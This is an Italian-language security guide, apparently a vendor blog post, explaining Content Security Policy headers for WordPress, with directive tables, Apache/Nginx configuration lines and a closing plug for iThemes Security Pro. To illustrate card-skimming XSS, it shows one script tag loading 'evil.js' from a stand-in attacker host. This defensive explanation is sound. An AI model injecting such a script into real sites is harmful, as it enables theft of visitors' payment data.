Spiegazione della politica di sicurezza dei contenuti (CSP).
Pubblicato: 2023-04-18Con la rapida evoluzione delle minacce alla sicurezza informatica, fare affidamento su un singolo livello di difesa non è più sufficiente per salvaguardare la tua presenza online. Ciò rende imperativo per i proprietari di siti Web avere un approccio alla sicurezza a più livelli, che è meglio rappresentato dal concetto di difesa in profondità.
Nei siti Web e nelle applicazioni Web, la difesa in profondità può essere implementata utilizzando intestazioni di risposta di sicurezza HTTP, specificamente progettate per applicare controlli di sicurezza aggiuntivi sul lato client. Le intestazioni di risposta HTTP sono un'importante seconda linea di difesa contro gli attacchi informatici che prendono di mira le applicazioni web.
Essendo una delle principali intestazioni di risposta di sicurezza HTTP, la Content Security Policy (CSP) può proteggere efficacemente il tuo sito Web e i suoi visitatori dalle devastanti conseguenze degli attacchi XSS (cross-site scripting) e di data injection.
In questa guida imparerai perché la Content Security Policy è un'intestazione di sicurezza HTTP chiave e come implementare una difesa approfondita sul tuo sito per mitigare con successo un'ampia gamma di sofisticati attacchi informatici che prendono di mira WordPress.
Cosa sono le intestazioni di risposta HTTP?
Le intestazioni di risposta HTTP sono un insieme di controlli implementati nei siti Web e nelle applicazioni Web che definiscono il modo in cui il browser interagisce con il contenuto richiesto. L'implementazione delle intestazioni di risposta HTTP può aiutare i proprietari di siti Web a migliorare notevolmente l'esperienza utente, nonché a migliorare la funzionalità, le prestazioni e la sicurezza dei loro siti Web.
Quando vengono inviate piccole informazioni insieme al contenuto richiesto dai visitatori del sito Web, le intestazioni di risposta HTTP modificano il modo in cui i browser interpretano ed elaborano la risposta ricevuta dal server Web. E mentre il contenuto e la funzionalità del sito Web rimangono invariati, l'implementazione delle intestazioni di risposta HTTP può alterare il modo in cui gli utenti lo percepiscono.
Intestazioni di risposta di sicurezza HTTP come secondo livello di difesa contro le minacce alla sicurezza
Una delle aree chiave in cui vengono utilizzate le intestazioni di risposta HTTP, come la Content Security Policy, è la sicurezza del sito web. La potente funzionalità fornita dalle intestazioni di risposta HTTP le rende un'importante seconda linea di difesa contro molti attacchi informatici mirati ad applicazioni web dinamiche come WordPress.
La prima linea di difesa contro gli attacchi informatici consiste in una serie di misure di sicurezza basate su codice e lato server che riducono la superficie di attacco ed eliminano le vulnerabilità a livello di applicazione. Ciò include l'utilizzo di pratiche di codifica sicure, la definizione di solide politiche di controllo degli accessi e l'implementazione di un firewall per applicazioni Web per ispezionare le richieste in arrivo e filtrare il traffico dannoso.
E sebbene disporre di una solida prima linea di difesa sia assolutamente essenziale, fare affidamento su un singolo livello di sicurezza può comunque rendere il tuo sito Web vulnerabile ad attacchi sempre più sofisticati. Un singolo controllo di sicurezza può essere facilmente aggirato, soprattutto se un utente malintenzionato è in grado di identificare e sfruttare una vulnerabilità lasciata senza patch.
La politica di sicurezza dei contenuti e altre intestazioni di risposta di sicurezza forniscono un ulteriore livello di protezione riducendo il danno inflitto da attacchi dannosi. Se un hacker malintenzionato è in grado di identificare con successo una vulnerabilità sul tuo sito Web, una solida seconda linea di difesa renderà molto più difficile per l'attaccante sfruttarla.
Che cos'è la politica di sicurezza dei contenuti?
Content Security Policy (CSP) è un meccanismo di sicurezza utilizzato per definire un elenco di fonti attendibili per il contenuto che un sito Web o una pagina Web specifica può caricare, nonché quale protocollo verrà utilizzato per questo. Ciò può includere script, fogli di stile, immagini e altri tipi di contenuto che possono essere incorporati in una pagina Web.
La politica di sicurezza dei contenuti è una potente difesa in un controllo di sicurezza approfondito che aiuta a bloccare le richieste non autorizzate di contenuti che si trovano al di fuori del sito Web corrente. Inoltre, CSP impedisce con successo l'esecuzione di script inline e limita l'esecuzione di codice dinamico non sicuro.
Come intestazione di risposta di sicurezza HTTP, CSP passa le istruzioni configurate dal proprietario del sito web al browser del visitatore. Il browser, quindi, deve seguire le istruzioni e bloccare la consegna di contenuti non autorizzati dalle regole della Content Security Policy. In questo modo, il browser vedrà che un determinato contenuto è stato referenziato da una pagina web ma si rifiuterà di caricarlo.
Perché la politica di sicurezza dei contenuti è così importante?
Come seconda linea di difesa, nella maggior parte dei casi la Content Security Policy non impedisce all'aggressore di compromettere un sito web. Tuttavia, contribuirà a mitigare le conseguenze devastanti dell'infezione da malware, bloccando i tentativi dell'hacker di sfruttarlo.
Anche se il malware viene iniettato nel tuo sito Web con lo scopo di rubare informazioni sensibili o eseguire altre attività dannose, una solida politica CSP manterrà te e i tuoi clienti al sicuro. L'attore malintenzionato semplicemente non sarà in grado di sfruttare la fiducia dei tuoi clienti nel tuo sito Web, poiché il browser bloccherà l'esecuzione di qualsiasi codice dannoso in primo luogo.
La capacità di annullare gli sforzi degli hacker per sfruttare il tuo sito Web mentre riacquisti il pieno controllo su di esso ed esegui una pulizia del malware dopo che è stato compromesso è ciò che rende l'implementazione della politica di sicurezza dei contenuti un potente strumento per proteggere i siti Web e le applicazioni Web moderni.
Da cosa protegge CSP?
La politica di sicurezza dei contenuti protegge un sito Web e i suoi visitatori da una serie di attacchi informatici facilitati da infezioni da malware, nonché da tentativi di intrusione che si basano su script dannosi ospitati sulle risorse controllate dall'aggressore. Ciò include cross-site scripting (XSS), attacchi di inclusione di file e clickjacking come i tre principali vettori di attacco mitigati dalla politica di sicurezza dei contenuti.
Script intersito (XSS)
Il cross-site scripting (XSS) è un attacco injection che prevede l'inserimento di codice dannoso in una pagina web. Il codice verrà quindi eseguito dal browser quando la pagina Web viene caricata, consentendo all'attaccante di rubare informazioni sensibili, dirottare sessioni utente o distribuire malware.
Per eseguire attacchi di cross-site scripting, gli hacker possono iniettare malware come uno script in linea, che viene incorporato in HTML, o facendo riferimento a uno script esterno, in genere ospitato su un sito Web controllato dall'attaccante. Durante il processo di rendering del contenuto, il codice dannoso verrà caricato nel browser dell'utente ed eseguito a sua insaputa o senza il suo consenso.
Un buon esempio di attacchi di scripting cross-site che colpiscono i proprietari di siti WordPress è l'iniezione di malware di scrematura delle carte nel checkout di WooCommerce, che ruberà le informazioni di pagamento dell'acquirente. Gli skimmer di carte e altri tipi di sniffer JavaScript utilizzati per eseguire attacchi di scripting cross-site avranno in genere questo aspetto nel codice sorgente di una pagina web:
<script type="text/javascript" src="https://hackerswebsite/evil.js"></script>
Nel caso di uno script in linea, vedrai codice dannoso incorporato nei tag dello script o addirittura camuffato da foglio di stile utilizzando i tag di stile.
La mitigazione del cross-site scripting è l'obiettivo principale dell'implementazione della Content Security Policy. Impedendo l'esecuzione di script in linea, Javascript non sicuro iniettato utilizzando la funzione eval e bloccando gli script caricati da fonti non attendibili, la Content Security Policy (CSP) mitiga efficacemente il rischio di esecuzione di codice arbitrario su un sito web.
Attacchi di inclusione di file
Gli attacchi di inclusione di file sono un altro tipo di attacco injection che la Content Security Policy può mitigare. Come tecnica di intrusione, gli attacchi di inclusione di file remoti consentono all'hacker di sfruttare la scarsa convalida dell'input in diverse aree del sito Web per eseguire codice dannoso ospitato su una risorsa esterna.
Gli attacchi di inclusione di file remoti spesso sfruttano vulnerabilità senza patch nei plug-in e nei temi di WordPress con lo scopo di irrompere in un sito Web installando una backdoor della web shell. Simile alla mitigazione del cross-site scripting, la politica di sicurezza dei contenuti bloccherà efficacemente tutti gli script esterni sospetti dall'essere iniettati nel sito Web, rendendo così quasi impossibile per l'attaccante sfruttare le vulnerabilità di inclusione di file remoti (RFI).
Clickjacking
Oltre a consentire ai proprietari di siti Web di definire un elenco di risorse attendibili da cui caricare il contenuto, la politica di sicurezza dei contenuti può aiutare a limitare l'elenco dei siti Web autorizzati a incorporare contenuto dal sito Web all'interno dei frame. Questo aiuta a mitigare gli attacchi di correzione dell'interfaccia utente (UI) come il clickjacking, di cui i tuoi clienti possono cadere vittime aprendo collegamenti sospetti inviati loro in un attacco di spear phishing.
La direttiva frame-ancestors
della Content Security Policy ha sostituito con successo l'intestazione X-Frame-Options
, che ora è stata deprecata dalla maggior parte dei browser moderni. Questa e altre direttive CSP sono assolutamente essenziali per la sicurezza di WordPress.
Direttive sulla politica di sicurezza dei contenuti
Content Security Policy ti aiuta a specificare una serie di regole, note come direttive, per controllare le fonti di contenuto che il tuo sito web può caricare. Le direttive Content Security Policy sono un elenco di istruzioni incluse nell'intestazione HTTP di una pagina Web richiesta che definiscono i tipi di contenuto che un browser può caricare su quella pagina, insieme all'elenco di fonti attendibili da cui può essere caricato.
Tra le varie direttive della politica di sicurezza dei contenuti disponibili, le regole seguenti sono quelle più comunemente applicate per proteggere i siti Web da attacchi XSS (cross-site scripting), clickjacking e data injection. Tutte le seguenti direttive CSP, ad eccezione di frame-ancestors
, form-action
e upgrade-insecure-requests
, sono direttive fetch che specificano l'elenco di risorse da cui caricare il contenuto. Frame-ancestors
e form-action
sono direttive di navigazione che definiscono in che modo altre risorse possono utilizzare il contenuto del sito web per cui è configurata la Content Security Policy.
-
default-src
definisce la politica per il caricamento di tutti i tipi di risorse che il browser utilizzerà per impostazione predefinita se non vengono specificate regole aggiuntive per un determinato tipo di contenuto. -
script-src
specifica le fonti attendibili dei file JavaScript che possono essere caricati dal sito web. -
style-src
definisce l'elenco di fonti valide di fogli di stile (CSS). -
img-src
inserisce nella whitelist le risorse da cui è possibile caricare le immagini. -
media-src
specifica le fonti attendibili dei file audio e video incorporati negli elementi HTML<audio>
e<video>
-
connect-src
fornisce il controllo sulle connessioniXMLHttpRequest
,EventSource
eWebSocket
. -
child-src
definisce le fonti di contenuto che possono essere incluse in una pagina Web tramite frame. -
frame-ancestors
è una direttiva di navigazione che aiuta a mitigare gli attacchi di clickjacking specificando l'elenco delle risorse a cui è consentito incorporare il contenuto di un sito Web all'interno dei frame. -
form-action
limita le risorse a cui i moduli web possono inviare informazioni, impedendo l'esfiltrazione dei dati verso risorse esterne controllate dall'aggressore. -
upgrade-insecure-requests
indica al browser di aggiornare tutte le richieste non sicure aHTTPS
, garantendo connessioni sicure.
A seconda del tipo di sito Web e della funzionalità specifica che fornisce, i proprietari di siti Web potrebbero dover configurare più direttive per controllare tutte le fonti di contenuto recuperate esternamente.
Lo standard del settore per garantire una protezione sufficiente da cross-scripting e attacchi injection utilizzando la politica di sicurezza dei contenuti come seconda linea di difesa consiste nel limitare le fonti valide di contenuto esterno al sito Web corrente solo tramite la direttiva default-src
. Direttive più mirate possono quindi essere utilizzate per autorizzare le risorse per particolari tipi di contenuto, ma negare tutte le altre risorse è l'approccio consigliato.
Configurazione delle direttive sui criteri di sicurezza dei contenuti
Ogni direttiva della Content Security Policy accetta un elenco di valori rappresentato da un Uniform Resource Locator (URL), che dovrebbe includere l'indirizzo web valido preceduto da un protocollo, un nome di dominio, un carattere jolly o valori specifici come 'self'
o 'none'
fornito dall'intestazione della risposta HTTP.
Di seguito sono riportati alcuni esempi di valori che possono essere assegnati alle direttive della politica di sicurezza dei contenuti:
Valore direttivo | Esempio | Definizione |
* | media-src* | Carattere jolly, utilizzato per consentire a tutti di caricare il contenuto da tutte le risorse. |
'self' | default-src 'self' frame-ancestors 'self'; | Autorizza il sito Web corrente come unica fonte valida di contenuto specifico. Definisce la politica di sicurezza rigorosa della stessa origine, la politica di sicurezza del contenuto predefinita consigliata. Utilizzato con la direttiva frame-antenati, non consente il framing del contenuto su risorse diverse dal sito Web stesso. |
'none' | media-src 'none' | Non consente il caricamento di risorse da qualsiasi origine, incluso lo stesso sito web. |
domain.com *.domain.com | img-sr c *.domain.com | Consente il caricamento di contenuti da qualsiasi sottodominio sotto domain.com. |
https://domain.com | default-src 'https://domain.com' | Consente il recupero del contenuto solo tramite HTTPS dal nome di dominio specificato. |
Per impostazione predefinita, indipendentemente dalle regole specificate, Content Security Policy bloccherà l'esecuzione di script in linea e impedirà alle pagine Web di eseguire funzioni di conversione da testo a JavaScript come eval, comunemente utilizzate da hacker malintenzionati. L'aggiunta dei valori 'unsafe-inline'
e 'unsafe-eval'
alla direttiva script-src
Content Security Policy può aiutare i proprietari di siti web ad aggirare le restrizioni, ma ciò può esporre il sito web a significativi rischi per la sicurezza e minare le protezioni imposte da altre direttive .
La seguente configurazione dell'intestazione della politica di sicurezza dei contenuti impedisce efficacemente al sito Web di caricare contenuti da risorse esterne e non consente l'esecuzione di script in linea e JavaScript non sicuro:
Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"
Dato il valore 'self'
, la direttiva frame-antenati mitiga gli attacchi di clickjacking bloccando il framing del contenuto.
Politica di sicurezza dei contenuti e reti di distribuzione dei contenuti (CDN)
Poiché la maggior parte delle reti di distribuzione dei contenuti, come Cloudflare, sono completamente compatibili con la politica di sicurezza dei contenuti e non modificano le intestazioni CPS dal server di origine. Non è necessario inserire nella whitelist eventuali risorse aggiuntive nelle regole di sicurezza configurate.
Implementazione della politica di sicurezza dei contenuti per WordPress
WordPress offre vari plugin per aggiungere intestazioni di risposta HTTP, che possono essere una buona opzione per gli utenti non tecnici. Sebbene questa possa essere un'opzione conveniente, l'impostazione di intestazioni di risposta di sicurezza come Content Security Policy per il tuo sito Web WordPress è un processo semplice che non richiede l'installazione di alcun software di terze parti.
Il modulo Apache mod_headers
e il modulo Nginx ngx_http_headers_module
ti consentono di configurare le intestazioni di risposta HTTP per il tuo sito web. Se utilizzi Nginx, puoi includere la direttiva add_header
nel blocco {} del server del tuo sito Web per configurare le intestazioni di risposta HTTP.
Allo stesso modo, se utilizzi Apache come server web, puoi utilizzare le istruzioni "Header set" e "Header append" per configurare le politiche di sicurezza nel file .htaccess
locale del tuo sito web che si trova nella root del documento. In questo modo la configurazione specificata nel file .htaccess nella directory principale del tuo sito web viene applicata a tutte le pagine web del sito.
È importante notare che utilizzando Apache è possibile configurare le intestazioni di risposta HTTP sia localmente, in un file .htaccess
, sia globalmente per tutti i siti Web sul server. È possibile che il tuo provider di hosting configuri determinate intestazioni di risposta a livello globale, soprattutto se utilizzi un piano di hosting condiviso. L'utilizzo del metodo "Header set" per configurare la Content Security Policy sovrascriverà completamente le regole globali esistenti mentre l'utilizzo di "Header append" unirà la tua nuova policy a un'intestazione di risposta esistente invece di sostituire l'intera configurazione.
Puoi aggiungere la configurazione della politica di sicurezza dei contenuti di seguito per applicare severi controlli di sicurezza sul tuo sito Web WordPress
Per Apache:
Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"
Per Nginx:
add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"
L'elaborazione di una configurazione della politica di sicurezza dei contenuti che soddisfi le esigenze di sicurezza del tuo sito Web potrebbe richiedere alcuni test, nonché una conoscenza approfondita delle funzionalità del sito Web. Inoltre, l'implementazione di nuovi protocolli di sicurezza sul tuo sito WordPress potrebbe potenzialmente causare una perdita di funzionalità, quindi è importante considerare attentamente l'impatto di eventuali modifiche. Puoi contattare il tuo provider di hosting o contattare il tuo sviluppatore per assicurarti che le intestazioni di sicurezza siano configurate correttamente e non causino conseguenze negative.
Implementa la difesa in profondità con iThemes Security Pro
Nell'odierno panorama delle minacce, l'adozione di una strategia di difesa approfondita è fondamentale. Per quanto riguarda le moderne applicazioni Web dinamiche come WordPress, l'intestazione della Content Security Policy è al centro della difesa in profondità, fornendo un livello critico di protezione contro cross-site scripting (XSS), attacchi di inclusione di file, clickjacking e altri attacchi basati sul Web.
L'implementazione di una soluzione completa per la difesa in profondità è sempre stata una sfida. Ma con iThemes Security Pro, un plug-in di sicurezza robusto e affidabile, puoi salvaguardare il tuo sito Web WordPress. Con funzionalità come il monitoraggio dell'integrità dei file, la scansione delle vulnerabilità, gli aggiornamenti software automatici e l'autenticazione senza password, puoi essere certo che tutte le parti critiche del tuo sito Web WordPress siano protette da minacce alla sicurezza in continua evoluzione.
Il miglior plugin di sicurezza per WordPress per proteggere e proteggere WordPress
WordPress attualmente alimenta oltre il 40% di tutti i siti Web, quindi è diventato un facile bersaglio per gli hacker con intenti dannosi. Il plug-in iThemes Security Pro elimina le congetture dalla sicurezza di WordPress per semplificare la sicurezza e la protezione del tuo sito Web WordPress. È come avere un esperto di sicurezza a tempo pieno nello staff che monitora e protegge costantemente il tuo sito WordPress per te.
Kiki ha una laurea in gestione dei sistemi informativi e più di due anni di esperienza in Linux e WordPress. Attualmente lavora come specialista della sicurezza per Liquid Web e Nexcess. Prima di allora, Kiki faceva parte del team di supporto di Liquid Web Managed Hosting, dove ha aiutato centinaia di proprietari di siti Web WordPress e ha appreso quali problemi tecnici incontrano spesso. La sua passione per la scrittura le permette di condividere le sue conoscenze ed esperienze per aiutare le persone. Oltre alla tecnologia, a Kiki piace conoscere lo spazio e ascoltare podcast sul vero crimine.